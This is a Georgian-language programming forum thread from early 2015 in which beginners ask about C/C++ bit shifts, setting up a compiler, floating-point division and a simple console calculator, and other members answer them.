ესეიგი, აქ ლედი პირველ პინზეაო (#define LED 1) და ლედის პინს მიენიჭა ერთიანი ლოპში (PORTB = (1<<LED);და ახარისხება არაფერ შუაშია. სხვა აზრია რამე?

Posted by: შაქროII 11 Jan 2015, 02:41
QUOTE
(#define LED 1)

ამას სახელი აქვს მხოლოდ ლედი. ეს ნიშნავს რომ LED არის რიცხვი 1. მეტი არაფერი.
DDRB = 0b00000010; nisnavs rom , tu shexedav rogorc in cvlads DDRB=2;

PORTB = (1<<LED); igvea rac 1*2 radgan LED aris ricxvi 1 (da ara cvladi)
PORTB=1<<1 =2 (<<1 aris 2 z egamravleba)
scade
3<<1 =6

0<<1 =0
PORTB = (0<<1)=0; anu jer 0*2 da enicheba PORTB anu PORTB nuldeba

Sen proga aketebs Semdegs
PORTB=2;
moicade 100ms
PORTB=0;


anu meore biti inteba 200ms shemdeg chaqreba 200ms shemdeg isev ainteba

Posted by: Komponent 11 Jan 2015, 12:37
შაქროII
მადლობა.
<<1 ეს თუ ორზე გამრავლებაა, <<2 ეს რაღა იქნება? რაღაც უაზრო წესებია მგონი.

Posted by: შაქროII 11 Jan 2015, 14:52
Komponent
eg aris 2 piziciit canacvleba anu 4 ze gamravleba smile.gif
a<<2; იგივეა რაც
ორჯერ გააკეთო
a<<1;
a<<1;
smile.gif
მაგალიტად a=1
0001
a<<1
0010
a<<1;
0100;
a=1; anu isev gaxda
0001
mashin a<<2; iqneba
0100
scade es kodi daakompilire da gaushvi
CODE

#include <stdio.h>
int binary(int n){
return n>1 ? 10*binary(n/2)+n%2 : n%2;
}
int main(int argc, char *argv[])
{
int num;
int shift;
int res;
num=1;
for (shift=0;shift<10;shift++)
{
 res=num<<shift;
 printf("%d << %d = %d;binaruli= %d \n",num,shift,res,binary(res));
}


return 0;
}

დავამატე ბინარულში გადაყვანის ფუნქცია.

Posted by: Komponent 11 Jan 2015, 16:26
შაქროII
მადლობა, კარგი რაღაც მასწავლე C სთვის.

მკ-სთვის, ასეთი რაღაც ამოვიკითხე:
DDRB = 0b10110001;
DDRB = 0xB1;
DDRB = (1<<0) | (1<<4) | (1<<5) | (1<<7);
ეს სამი ხაზი ექვივალენტურიაო. ესეიგი მესამე ხაზში დაძვრაც არის და მიმატებაც, მოკლედ გავიგე. მე მაინც პირველი ხაზი მომწონს.

Posted by: შაქროII 12 Jan 2015, 12:28
QUOTE
0b10110001;

ეს ორობითია
QUOTE
DDRB = 0xB1;

ეს თექვსმეტობითი

Posted by: barnabeka 16 Jan 2015, 09:54
არ აკომპალირებს არც DEV C++ არც საბლაიმი როგორ დავაკომპილირო კოდი მითხარით რააა



user posted image

Posted by: Dixtosa 16 Jan 2015, 15:25
barnabeka
როგორც ჩანს წინ8ზე პრობლემა აქვს გ++-ს

http://www.solveinweb.com/g-exe-has-stopped-working/

Posted by: koshogio 16 Jan 2015, 20:21
Dixtosa
ეს ვერსია Dev-Cpp 5.4.2 მიყენია ვინ 8.1-ზე და მშვენივრად მუშაობს.

Posted by: barnabeka 16 Jan 2015, 22:30
მიშველეთ რამე ვიჟუალ სტუდიოს დაყენება არმინდა მაგხელა რაღაცის მითუმეტეს დამწყები ვარ და დიდ პროექტებთან არ ვმუშაობ და იქნება მირჩიოთ რამე რაც 8,1ზე იმუშავებს საბლაიმი დავაყენე მაგრამ C++ არც ის აკომპილირებდა

Posted by: irakli8 16 Jan 2015, 22:37
barnabeka
სულაც არ არის დიდი პროექტებისთვის განკუთვნილი ვიზუალ სტუდიო ექსპრესი. მე მაგას ვიყენებ, სასიამოვნო ინტერფეისი აქვს (მიუხედავად იმისა რომ მის უმეტესობა ფუნქციებს არ ვიყენებ)
ან კიდევ
QUOTE
Dev-Cpp 5.4.2
დააინსტალირე, როგორც გითხრეს მაღლა ეგ მუშაობსო...

Posted by: barnabeka 16 Jan 2015, 22:57
დამილინკეთ რომელს ამუშავებთ მაშინ იმიტო რო მაგ პრობლემას მიწერს ყველგან

Posted by: irakli8 17 Jan 2015, 16:02
barnabeka
http://sourceforge.net/projects/orwelldevcpp/files/##
და მერე აქ დააკლიკე
QUOTE
Download Dev-Cpp 5.8.3 TDM-GCC 4.8.1 Setup.### (47.0 MB)

5.4.2 არ არის მარა რაც შემომხვდა პირველი ის გადმოვწერე...

Posted by: barnabeka 17 Jan 2015, 18:21
გასწორდა გადმოვწერე კაი რამეა
აი ჩემი პირველი ნაღვაწი აუ რა მაგარი რამეა რარაცას რო დაწერ ხო დებილობაა მაგრამ მგონია გენიალური პროგრამა მაინც ჩემი დაწერილია და რამაინტერესებს აი ფანჯრის სახეს როგორ აძლევენ პროგრამას??? კაი ეს კოდი დაიწერა მაგრამ ფანჯრის სახე როგორ მივცე??
user posted image

Posted by: irakli8 17 Jan 2015, 19:58
barnabeka
ის ვიზუალ სტუდიოში კეთდება wpf ჰქვია მგონი იმას.
თვითონ ენის სწავლისას არ გჭირდება ეგ, მე მაგალითად არ გამომიყენებია არასდროს.

Posted by: FrankenSteinCoder 18 Jan 2015, 00:36
barnabeka
C++ ით ვერ დაწერ ისეთ პროგრამას რომელსაც ფანჯრის სახე ექნება. თვითონ ენა არ გაძლევს მაგის საშუალებას.
დაგჭირდება 2 ვარიანტი:
1) WinAPI ფუნქციები გამოიყენო რაც მაზოხიზმია.
2) ბიბლიოთეკები გამოიყენო სპეციალურად მაგისთვის: Qt,GTK+ და ა.შ

თუმცა გირჩევდი ჯერ ენა გესწავლა და ფანჯრებზე ნუ იფიქრებ თორე მერე გაგიჭირდება.

Posted by: barnabeka 18 Jan 2015, 08:57
აბა რა აზრიაქ C++ ის სწავლას თუ ვერ გამიყენებ???ან საერთოდ მის არსებობას
* * *
რა დონემდე უნდა მივიდე C++ ში რომ შემდეგ სხვა ენაზე გადავიდე

Posted by: FrankenSteinCoder 18 Jan 2015, 15:26
barnabeka
ამჟამად რა პროგრამებიც გიყენია კომპიუტერში 90% C++ სზეა დაწერილი.
თვით Windows ის ნაწილიც C++ ზეა ნაწერი და დღევანდელი ვიდეო თამაშების 90% იც C++ ზეა ნაწერი.

C++ ძალიან მძლავრი ენაა და ძალიან რთულიც.
ეხლა შენ დაასკვენი რამდენად დიდია ამის გამოყენება.

QUOTE
რა დონემდე უნდა მივიდე C++ ში რომ შემდეგ სხვა ენაზე გადავიდე

ელემენტალურები ისწავლე.
ფუნქციების გადატირთვა
ვირტუალური ფუნქციები
კლასები
მეგობარი ფუნქციები
inline ფუნქციები
შაბლონური კლასები
შაბლონური ფუნქციები
ოპერატორების გადატვირთვა
ფოინთერებიც.

Posted by: barnabeka 19 Jan 2015, 13:39
ერთისიტყვით მინდა რომ გამოვიტანო ჯერ მთელი რიცხვი განაყოფის და მერე ზუსტი მნიშვნელობა და რა შევასწორო??? მთელი რიცხვი გამომაქ მაგრამ ზუსტი მნიშვნელობა როგორ გამოვიტანო???
user posted image

Posted by: irakli8 19 Jan 2015, 16:06
barnabeka
ათწილადი გინდა რომ დაწეროს? სახელმძღვანელოს მიყვები?
სახელმძღვანელოს თუ მიყვები მალევე შეგხვდებოდა floating-point numbers.

Posted by: Dirac 19 Jan 2015, 16:17
barnabeka
a / 3.0 მოგცემს ათწილადებს. თუ გაქვს ორი მთელი a და b რიცხვი და გინდა რომ ერთის მეორეზე გაყოფისას ათწილადები მიიღო, ერთერთი მაინც უნდა გადააქციო ათწილადად static_cast-ის მეშვებოით
static_cast<double>(a) / b

Posted by: შაქროII 19 Jan 2015, 20:02
printf smile.gif ..
"++შნიკ" ჰავტორები ინტენსიურად იყენებენ ცინ ცოუტ წაკითხვა ჩაწერის სტრიმებს ტუტორიალბში მაგრამ საქმე საქმეზე რომ
მივა fopen, fprint, fwrite ...ამიტომ კითხვა არ ჯობია თავიდანვე printf ისწალოთ?
იგივე ეხება scanf
p.s.

C++ სწავლა C გარეშე იგივეა რაც ლექსები ისწავლო /დაიზეპირო ენაზე რომელიც არც იცი--
ეს ჩემი რელიგიური შეხედულებაა საკამათოდ არ ვამბობ smile.gif
Dirac

სტატიკ კასტი რად უნდა

Posted by: barnabeka 20 Jan 2015, 08:44
სადაა მაგის ლექციები fprint, fwrite ,printf, scanf-ზე ვამბობ

Posted by: Dirac 20 Jan 2015, 15:28
შაქროII
სტატიკ კასტის იმიტომ გჭირდება რომ 3/2=1. რაც არ უნდა უქნა printf-ით ამას 1.5-ად ვერ გადააქცევ, წინასწარ უნდა გარდაქმნა ერთერთი რიცხვი მაინც დაბლად.



C++ და C ორი სხვადასხვა ენაა. უშუალოდ C-ზე თუ არ აპირებ წერას, მთლიანად დროის ფლანგვაა მისი სწავლა. C++ის სწავლისას C-ს დროს ნასწავლი ძველი უნარჩვევების დავიწყება მოგიწევს. მაგალითად იმის რომ არასდროს უნდა გამოიყენო ინტეჯერის დუბლად გარდაქმა ამ სახით (double) n, უნდა გამოიყენო static_cast<double>(n). არ უნდა გამოიყენო მაკრო და ბევრი რამე რაც C-ში ერთადერთი გამოსავალია. შენი შეხედულება იგივეა რომ თქვა თანამედროვე ინგლისურის შესასწავლად მეხუთე საუკუნის ინგლისურით უნდა დაიწყოო.

barnabeka
კოენიგის წიგნი წაიკითხე, ან სტრაუსტროპის. სტრაუსტროპზე უკეთ არავინ იცის C++. კიდე http://stackoverflow.com ესტუმრე ხშირად. printf კი არა iostream, fstream, sstream ისწავლე. თუ გინდა რომ 1.5 გამოგიტანოს როგორც 1.500, (ანუ მძიმის მერე სამი ციფრი) უნდა დაწერო
cout << setprecision(3) << 1.5 << endl;

Posted by: Dixtosa 20 Jan 2015, 19:50
Dirac
QUOTE
შენი შეხედულება იგივეა რომ თქვა თანამედროვე ინგლისურის შესასწავლად მეხუთე საუკუნის ინგლისურით უნდა დაიწყოო.

ნო
QUOTE
მაგალითად იმის რომ არასდროს უნდა გამოიყენო ინტეჯერის დუბლად გარდაქმა ამ სახით (double) n

ცპპში ორივე მუშაობს მეხუთე საუკუნის ინგლისური კი გაუგებარია ნებისმიერი ინგლსურისთვის.

პ.ს. ტო უპირატესობა აქ სტატიკ კასტს? (დოუბლე)სტან მიმართებაში? (შაქრო2მაც ეს იგულისხმა ისე წინა პოსტში)

QUOTE
cout << setprecision(3) << 1.5 << endl;

ფიქსედ უნდა კიდე მაგას wink.gif

Posted by: Dirac 20 Jan 2015, 20:35
Dixtosa
სტატიკ კასტი კომპილაციის დროს ამოწმებს ეგ გარდაქმა შესაძლებელია თუ არა. C-ს სტილში გარდაქმა არ ამოწმებს.

Posted by: შაქროII 20 Jan 2015, 22:04
int a=3;
int b=2;
printf("a/b=%d (double)a/b=%lf\n",a/b,(double)a/b);
რა პრობლემა აქვს ამას?

Posted by: Dirac 20 Jan 2015, 23:25
შაქროII
არანაირი. მშვენივრად იმუშავებს.

Posted by: Komponent 26 Jan 2015, 10:35
C საიდან გადმოვწერო?
(მახსოვს, წინათ ქუბეისიკი მქონდა. ლურჯ ეკრანზე ვწერდი პროგრამას და მერე პასუხები შავ ფონზე გამოქონდა, რაღაც ამდაგვარი მინდა).

Posted by: blacksmith 27 Jan 2015, 01:12
#include<iostream.h>
int main()
{int k;
int a[]={-2,2,7,-4,-7,1,2};
k=76%7;
switch(a[k])
{

case -2: cout<<1<<endl;break;
case 2: cout<<2<<endl;break;
case 7: cout<<3<<endl;break;
case -4: cout<<4<<endl;break;
case -7: cout<<5<<endl;break;
case 1: cout<<6<<endl;break;
case 3: cout<<7<<endl;break;
default: cout<<8<<endl;
}}


აქ რატო უდრის 2-ს ამიხსენით თუ შეიგიძლიათ sad.gif sad.gif sad.gif sad.gif sad.gif sad.gif sad.gif sad.gif sad.gif sad.gif

Posted by: Shredinger 27 Jan 2015, 01:40
blacksmith
იმიტომ რომ 76%7 გაძლევს 6 - ს.
a[6] = 2

Posted by: DistrictA 27 Jan 2015, 23:14
მე9 გაკვეთილის შემდეგ (აქედან 5 C-ს გაკვეთილი იყო და ჯერ c++ ში მე4 გაკვეთილია) დავალება მქონდა შემდეგნაირი:
დაწერეთ მარტივი კალკულატორი, რომელსაც შეეძლება ძირითადი ოპერაციების შესრულება (+, -, *, /, და ა.შ.).

CODE
#include <iostream>
#include <conio.h>

using namespace std;

char operacia;
float pasuxi;

template <typename T, typename B>
T Shedegi(T pirveli, T meore, B simbolo);

int main()
{
float ricxvi1, ricxvi2;
int yesno;

do
{
cout<<"Shemoitane pirveli ricxvi:  ";
cin>>ricxvi1;
cout<<"Shemoitane operaciis simbolo mag.(+ , -, *, /):  ";
cin>>operacia;
cout<<"Shemoitane meore ricxvi:  ";
cin>>ricxvi2;
cout<<"Pasuxi:  "<<Shedegi(ricxvi1, ricxvi2, operacia)<<endl<<endl;
cout<<"Programis gasagrdzeleblad daachiret 1, dasaxurad 0"<<endl;
cin>>yesno;cout<<""<<endl;

if(yesno==0)
 exit(1);

}while(1);

getch();
return 0;
}

template <typename T, typename B>
T Shedegi(T pirveli, T meore, B simbolo)
{
 switch(operacia)
 {
   case '+':
    pasuxi = pirveli + meore;
    break;
   case '-':
    pasuxi = pirveli - meore;
    break;
   case '*':
    pasuxi = pirveli * meore;
    break;
   case '/':
    pasuxi = pirveli / meore;
    break;
 }

 return pasuxi;
}


როგორ შემიფასებდით ეხლა ბევრად წინ უნდა ვიყო თუ ნორმალურად ვიცი ამ დროისთვის?
math.h - ის ჩართვაც მინდოდა უბრალოდ ვეღარ მოვიფიქრე sqrt როგორ ჩამეკვეხებინა რადგან 2 რიცხვის შემოტანა მაქვს, მაშინ თავიდანვე უნდა ვაკითხინო მომხმარებლისთვის რა ოპერაციის შესრულება უნდა და მეზარება..

Posted by: შაქროII 27 Jan 2015, 23:49
^ --შეგიძლია დასვა ახარისხება: პოუ

Posted by: DistrictA 28 Jan 2015, 00:16
QUOTE (შაქროII @ 27 Jan 2015, 23:49 )
^ --შეგიძლია დასვა ახარისხება: პოუ

ვერ გავიგე რას მეუბნები .

Posted by: შაქროII 28 Jan 2015, 02:28
QUOTE
math.h - ის ჩართვაც მინდოდა უბრალოდ ვეღარ მოვიფიქრე sqrt როგორ ჩამეკვეხებინა რადგან 2 რიცხვის შემოტანა მაქვს, მაშინ თავიდანვე უნდა ვაკითხინო მომხმარებლისთვის რა ოპერაციის შესრულება უნდა და მეზარება..

მააზე გიპასუხე....
სიმბოლოზე '^' მიაბი ხარისხში აყვანა

4^0.5=2


Posted by: Dirac 28 Jan 2015, 04:41
DistrictA
template <typename T, typename B>
T Shedegi(T pirveli, T meore, B simbolo)

typename B-ს არსად იყენებ, B simbolo-ს განსაზღვრავ და არ იყენებ. ჯობია ასე დაწერო
template<typename T>
T Shedegi(T pirveli, T meore, char simbolo) {
switch(simbolo):
...
მეინის გარეთ ცვლადების განსაზღვრა რაში გჭირდება?

Posted by: DistrictA 28 Jan 2015, 16:39
QUOTE (Dirac @ 28 Jan 2015, 04:41 )
DistrictA
template <typename T, typename B>
T Shedegi(T pirveli, T meore, B simbolo)

typename B-ს არსად იყენებ, B simbolo-ს განსაზღვრავ და არ იყენებ. ჯობია ასე დაწერო
template<typename T>
T Shedegi(T pirveli, T meore, char simbolo) {
switch(simbolo):
...
მეინის გარეთ ცვლადების განსაზღვრა რაში გჭირდება?

მართალი ხარ არ ვიყენებ, char მეწერა ისედაც და მერე მაინც typename ჩავუწერე.
main ის გარეთ ცვლადების განსაზღვრა იმაში მჭირდება რო main შიც ვიყენებ და ქვევით ფუნქციაშიც.
float pasuxi ს მარტო ფუნქციაში ვიყენებ და ჩავიტან ქვევით, მარა ოპერაციას ორივეგან ვიყენებ და ორივეგან ჩაწერას არ ჯობია main ის გარეთ ჩაწერა?

Posted by: Dirac 28 Jan 2015, 18:26
DistrictA
QUOTE
ორივეგან ჩაწერას არ ჯობია main ის გარეთ ჩაწერა?


არა, არ ჯობია. ჯერ ერთი გარეთ თუ განსაზღვრავ მაშინ ცვლადი simbolo რაში გჭირდება? მაგრამ მთავარია რომ გლობალური ცვლადების (ფუნქციების გარეთ რომ განსაზღვრავ) შეცვლა ნებისმიერ ფუნქციას შეუძლია. ას ხაზს თუ აცდება შენი პროგრამა მერე მიხვდები რომ ეს ცუდია, აგერევა რომელმა ფუნქციამ რომელ მომენტში შეცვალა ეს ცვლადი. გლობალური კონსტანტები კი, მოსახერხებელია. მაგალითად პის თუ იყენებ ბევრ ფუნქციაში, შეგიძლია შექმნა გლობალური კონსტანტა
const double PI = 3.14159;

Posted by: Dixtosa 28 Jan 2015, 20:29
DistrictA
QUOTE
if(yesno==0)
 exit(1);

}while(1);


პირდაპირ
while(yesno)

აუ ისე ეს სვიჩი მაგრად არ მევასება რა biggrin.gif მარა დამწყებს სხვა ალტერნატივა არ გაქ.

Posted by: DistrictA 28 Jan 2015, 20:49
QUOTE (Dirac @ 28 Jan 2015, 18:26 )
DistrictA
QUOTE
ორივეგან ჩაწერას არ ჯობია main ის გარეთ ჩაწერა?


არა, არ ჯობია. ჯერ ერთი გარეთ თუ განსაზღვრავ მაშინ ცვლადი simbolo რაში გჭირდება? მაგრამ მთავარია რომ გლობალური ცვლადების (ფუნქციების გარეთ რომ განსაზღვრავ) შეცვლა ნებისმიერ ფუნქციას შეუძლია. ას ხაზს თუ აცდება შენი პროგრამა მერე მიხვდები რომ ეს ცუდია, აგერევა რომელმა ფუნქციამ რომელ მომენტში შეცვალა ეს ცვლადი. გლობალური კონსტანტები კი, მოსახერხებელია. მაგალითად პის თუ იყენებ ბევრ ფუნქციაში, შეგიძლია შექმნა გლობალური კონსტანტა
const double PI = 3.14159;

ვიცი ვიცი შევცვალე წეღან სულელურად მქონდა სიმბოლო ტყვილა მქონდა გამოყებებული, ეხლა ნახე აბა
CODE
#include <iostream>
#include <conio.h>
#include <math.h>

using namespace std;

float Shedegi(float pirveli, float meore, char simbolo);

int main()
{
float ricxvi1, ricxvi2;
int yesno;
char operacia;

do
{
cout<<"Shemoitane pirveli ricxvi:  ";
cin>>ricxvi1;
cout<<"Shemoitane operaciis simbolo mag.(+ , -, *, /, ^):  ";
cin>>operacia;
cout<<"Shemoitane meore ricxvi:  ";
cin>>ricxvi2;
cout<<"Pasuxi:  "<<Shedegi(ricxvi1, ricxvi2, operacia)<<endl<<endl;
cout<<"Programis gasagrdzeleblad daachiret 1, dasaxurad 0"<<endl;
cin>>yesno;cout<<""<<endl;

if(yesno==0)
 exit(1);

}while(1);

getch();
return 0;
}

float Shedegi(float pirveli, float meore, char simbolo)
{

 float pasuxi;
 switch(simbolo)
 {
   case '+':
    pasuxi = pirveli + meore;
    break;
   case '-':
    pasuxi = pirveli - meore;
    break;
   case '*':
    pasuxi = pirveli * meore;
    break;
   case '/':
    pasuxi = pirveli / meore;
    break;
   case '^':
    pasuxi =  pow(pirveli,meore);
    break;
 }

 return pasuxi;
}

Posted by: koshogio 29 Jan 2015, 00:51
DistrictA
მეორე რიცხვი ნული რომ იყოს, რას გააკეთებს შენი პროგრამა გაყოფის დროს?

Posted by: DistrictA 29 Jan 2015, 01:37
QUOTE (koshogio @ 29 Jan 2015, 00:51 )
DistrictA
მეორე რიცხვი ნული რომ იყოს, რას გააკეთებს შენი პროგრამა გაყოფის დროს?

ოპ)) კაი შენიშვნა იყო. გავასწორებ, ამ შემთხვევაში ვერაფერს აკეთებს

CODE
case '/':
    if(meore==0)
    {
    cout<<"0-ze gayofa ar sruldeba"<<endl;
    pasuxi=0;
    }
    else
    pasuxi = pirveli / meore;
    break;


ესეთი ჩასწორება გავაკეთე, გამოდგა მაგრამ pasuxi=0; საერთოდ არმინდა რომ იყოს, მხოლოდ შენიშვნა მინდა რო დავწერო რაც cout<< ში მიწერია.. მაგრამ ფუნქციისთვის return pasuxi არის აუცილებელი. გამოსავალი მაპოვნინეთ

Posted by: irakli8 29 Jan 2015, 01:54
DistrictA
სანამ ფუნქციას მისცემ არგუმენტს იქ შეამოწმებინე მეორე რიცხვი და ნიშანი.

Posted by: DistrictA 29 Jan 2015, 02:09
QUOTE (irakli8 @ 29 Jan 2015, 01:54 )
DistrictA
სანამ ფუნქციას მისცემ არგუმენტს იქ შეამოწმებინე მეორე რიცხვი და ნიშანი.

ვიწვალე ცოტა ვერ მივხვდი თავიდან რა მითხარი მარა საბოლოო ჯამში გამომივიდა მადლობა

CODE
do
{
cout<<"Shemoitane pirveli ricxvi:  ";
cin>>ricxvi1;
cout<<"Shemoitane operaciis simbolo mag.(+ , -, *, /, ^):  ";
cin>>operacia;
cout<<"Shemoitane meore ricxvi:  ";
cin>>ricxvi2;

if(operacia==*"/" && ricxvi2==0)
{
 cout<<"0-ze gayofa ar sruldeba"<<endl;
}
else
{
 cout<<"Pasuxi:  "<<Shedegi(ricxvi1, ricxvi2, operacia)<<endl<<endl;
}

cout<<"Programis gasagrdzeleblad daachiret 1, dasaxurad 0"<<endl;
cin>>yesno;cout<<""<<endl;

if(yesno==0)
 exit(1);

}while(1);

* * *
Dixtosa
while(yesno)
ესე რო ვქნა კიდე ერთი enter ზე დაჭერა ჭირდება პროგრამას რო გამოირთოს და
if(yesno==0)
exit(1);
ამით ვაძალებ პროგრამას რო გაითიშოს

თუ რამე მეშლება შემისწორეთ პროებო

Posted by: Dirac 29 Jan 2015, 02:32
DistrictA
მშვენიერი პროგრამაა. ახლა შეგიძლია პოლონური აღნიშვნების გამოყენებით ნამდვილი კალკულატორის პროგრამა დაწერო.

http://en.wikipedia.org/wiki/Reverse_Polish_notation

Posted by: DistrictA 29 Jan 2015, 02:36
QUOTE (Dirac @ 29 Jan 2015, 02:32 )
DistrictA
მშვენიერი პროგრამაა. ახლა შეგიძლია პოლონური აღნიშვნების გამოყენებით ნამდვილი კალკულატორის პროგრამა დაწერო.

http://en.wikipedia.org/wiki/Reverse_Polish_notation

ვერ მივხვდი, ეგ როგორ?
Qt არ ვიცი და არც WinApi, მხოლოდ კონსოლზე ვსწავლობ sad.gif
ძალიან გამახარებ თუ ახსნა განმარტებას დაურთავ როგორ გავაკეთო..

Posted by: Dirac 29 Jan 2015, 02:47
DistrictA
Qt და WinApi არაფერშუაშია. ვთქვათ გინდა დაწერო კალკულატორის პროგრამა რომელიც გამოითვლის ასეთი გამოსახულებების მნიშვნელობას

2 * (3 + 4) / (5 + 6 - 7)
ამისთვის არსებობს სპეციალური ალგორითმი, ზუსტად არ მახსოვს მაგრამ კითხულობ მარცხნიდან მარჯვნივ, რიცხვებს ინახავ ცალკე, სასვენ ნიშნებს ცალკე, ფრჩხილი რომ შეგხვდება რაღაცას აკეთებ და ასე შემდეგ. გადავხედავ კიდე ალგორითმს და გეტყვი.

Posted by: DistrictA 29 Jan 2015, 02:51
QUOTE (Dirac @ 29 Jan 2015, 02:47 )
DistrictA
Qt და WinApi არაფერშუაშია. ვთქვათ გინდა დაწერო კალკულატორის პროგრამა რომელიც გამოითვლის ასეთი გამოსახულებების მნიშვნელობას

2 * (3 + 4) / (5 + 6 - 7)
ამისთვის არსებობს სპეციალური ალგორითმი, ზუსტად არ მახსოვს მაგრამ კითხულობ მარცხნიდან მარჯვნივ, რიცხვებს ინახავ ცალკე, სასვენ ნიშნებს ცალკე, ფრჩხილი რომ შეგხვდება რაღაცას აკეთებ და ასე შემდეგ. გადავხედავ კიდე ალგორითმს და გეტყვი.

აჰა გასაგებია რასაც მეუბნები, თუ იპოვი დამიწერე
მადლობა

Posted by: Roofus 29 Jan 2015, 03:12
QUOTE (Dirac @ 29 Jan 2015, 02:32 )
DistrictA
მშვენიერი პროგრამაა. ახლა შეგიძლია პოლონური აღნიშვნების გამოყენებით ნამდვილი კალკულატორის პროგრამა დაწერო.

http://en.wikipedia.org/wiki/Reverse_Polish_notation

ფუ რა მარაზმია boli.gif

ძეცკი სად...

Posted by: Dirac 29 Jan 2015, 04:14
Roofus
ხო საბავშვო ბაღი biggrin.gif ეგ შტერი დაიქსტრა რა სისულე ალგორითმებს წერდა. ქვეშმიწერით მიმატება-გამოკლებაც არ იცოდა.

Posted by: Dixtosa 29 Jan 2015, 14:44
DistrictA
მოაშორე გეთჩი მერე.
QUOTE
ესე რო ვქნა კიდე ერთი enter ზე დაჭერა ჭირდება პროგრამას რო გამოირთოს და


Posted by: DistrictA 29 Jan 2015, 15:46
QUOTE (Dirac @ 29 Jan 2015, 04:14 )
Roofus
ხო საბავშვო ბაღი biggrin.gif ეგ შტერი დაიქსტრა რა სისულე ალგორითმებს წერდა. ქვეშმიწერით მიმატება-გამოკლებაც არ იცოდა.

დაიქსტრა ?

Posted by: Dirac 29 Jan 2015, 18:13
DistrictA
ხო, Dijkstra, მეოცე საუკუნის ერთერთი საუკეთესო კომპიუტერ საინთისტი, ლინკი რომ მოგეცი მაგ ალგორითმის ერთერთი შემქნელია. ცნობილია დაიქსტრას ალგორითმით და იმით რომ კომპიუტერს არ იყენებდა biggrin.gif (ალბათ დიკსტრა უფრო სწორია ვიდრე დაიქსტრა)

Posted by: Dixtosa 29 Jan 2015, 19:05
Dirac
QUOTE
DistrictA

ვაფშე ჩვენ დეიქსტრას ვეძახით.

Posted by: Roofus 31 Jan 2015, 20:46
Dirac
ხო არა... ლიბრერიები აღარ გვინდა... მოდი ალგორითმებით ვაკეთოთ ყველაფერი biggrin.gif

Posted by: Dirac 31 Jan 2015, 21:02
Roofus
ალგორითმები ვისაც არ ესმის ის არაა პროგრამისტი, საპოჟნიკია biggrin.gif

Posted by: Roofus 1 Feb 2015, 02:14
Dirac
მე არ მითქვია გავიგოთ... მე ვთქვი გამოვიყენოთ...

ეგრე ალგორითმი არც მესემიჩკეს ესმის.

Posted by: wixxen2012 1 Feb 2015, 17:24
ესეთი დავალება მაქ C++, შემოიტანეთ ორი სიდიდე და ამობეჭდეთ უდიდესიო და დამიწერეთ კოდი რა biggrin.gif

Posted by: barnabeka 1 Feb 2015, 19:43
CODE
#include<iostream>

#include<conio.h>

using namespace std;
int main(){

double a, b;
cout<<"shemoitanet ricxvebi"<<endl<<"a= ";
cin>>a;
cout<<"b= ";
cin>>b;
if (a>b){
 
 cout<<a;
 
}else{
 cout<<b;
}

getch();
}

* * *
აჰაა ესაა რავი კიდე გეტყვიან ბიჭები ეს თუ არ მოგწონს smile.gif wixxen2012

Posted by: koshogio 1 Feb 2015, 20:43
wixxen2012
QUOTE
დამიწერეთ კოდი რ

იქნებ დროა სხვა სასწავლებელში გადახვიდე, სადაც დავალების გაკეთება სიამოვნებას მოგანიჭებს და არა ტანჯვას.
სხვისი დაწერილი კოდით შორს ვერ წახვალ. ეს უბრალოდ რჩევაა. კარგი იქნებოდა შენი დაწერილი წარმოგედგინა და ჩვენთვის შესწორება გეთხოვა.

Posted by: DistrictA 1 Feb 2015, 23:52
wixxen2012
მეთვითონაც დამწყები ვარ, აი რა აზრი აქვს ძმურად სხვას რო თხოვ რო დაგიწერონ? შენთვითონ იწვალე და თუ არ გამოვა შეგისწორებენ აქ არარის ეგ პრობლემა, ძალით სწავლა არ გამოვა არაფრის

Posted by: pixsa 2 Feb 2015, 18:07
გავაკეთე с++ ით პროგრამა და 32 ბიტზე მიდის მარტო , დამეხმარეთ რა როგორ გავაკეთო ისე რო 64 ზეც წავიდეს sad.gif(((

Posted by: Shredinger 2 Feb 2015, 18:24
pixsa
თუ 32 ბიტზე მიდის 64 ბიტზეც თავისუფლად წავა.
64 ბიტზე რომ დაგეწერა 32 ბიტზე ვერ წავიდოდა
მარა პირიქით 32 ბიტიანი 64 ბიტიან სისტემაზე უნდა წავიდეს smile.gif

სხვა რაღაცაში უშვებ შეცდომას ალბათ.

Posted by: Roofus 3 Feb 2015, 01:23
wixxen2012
მე ეხლა ამას ვკითხულობ. http://www.cplusplus.com/doc/tutorial/
და კიდე მაქვს სტრაუსტრუპის წიგნი C++11 რომელიც ჯერ ცოტა მეძნელება.

ამ ტუტორიალს თუ წაიკითხავ ... http://www.cplusplus.com/doc/tutorial/ თვითონ დაწერ რაც გჭირდება
barnabeka
up.gif

ოღონდ return 0; რატომ არაა ბოლოში ეგ მიკვირს...

Posted by: barnabeka 3 Feb 2015, 10:17
biggrin.gif რავი ისედაც მუშაობს ნუ პრინციპში მაგ return 0-ის აზრი ვერ გავიგე სიმართლე რო გითხრა. მე ამას ვკითხულობ ეს ცოტა ძველია მემგონი შენ რაც დალინკე იმასთან შედარებით https://mega.co.nz/#!XkBkyZyT!VrYn2ClqSdzcrE_BAxfY-nkSivbFevO6INmVfS9X8fI რავი უკეთესი თუ მოგეპოვებათ pdf-ში ოღონდ შეგიძლიათ მომაწოდოთ ისე აქ მაგრათაა ახსნილი ქართული დავიწყე ადრე და გული ამიცრუვდა ვერაფერს ვგებულობდი ნახევარი ახსნილი არიყო რა კოდიც ეწერა გპი-ს კონსპექტი გადმოვწერე და იმაზე ვამბობ შარშან ახლა ეს დავითრიე საღაცა ივაგენი და მართამა დაღეჭილია ყელაფერი რისი ახლსნაც უნდა ავტორს

Posted by: Dirac 3 Feb 2015, 18:46
barnabeka
QUOTE
რავი ისედაც მუშაობს


ალბათ კომპილატორი ასწორებს შენს შეცდომას. C++ში სავალდებულოა return 0. ტერმინალზე ან CMD-ზე რომ უშვებ პროგრამას, პროგრამა ეუბნება ამ გარემოს რომ წარმატებით დავასრულეო მუშაობა. მაგალითად პროგრამის წარმატებით დასრულების მერე echo $? რომ დავწერო ტერმინალზე, 0-ს დამიწერს.

Posted by: Shredinger 3 Feb 2015, 19:38
C++ სტანდარტი ითხოვს return 0 - ს.
მარა კომპილერი ხვდება და თვითონ ამატებს.

ამიტომ აუცილებელი არაა მისი დაწერა.

Posted by: barnabeka 3 Feb 2015, 20:18
http://www.amazon.com/C-Programming-Language-4th/dp/0321563840/ref=sr_1_1?ie=UTF8&qid=1422980245&sr=8-1&keywords=straustrup+c%2B%2B ეს წიგნი იაფად არსად იშოვება????

Posted by: Dirac 3 Feb 2015, 20:45
barnabeka
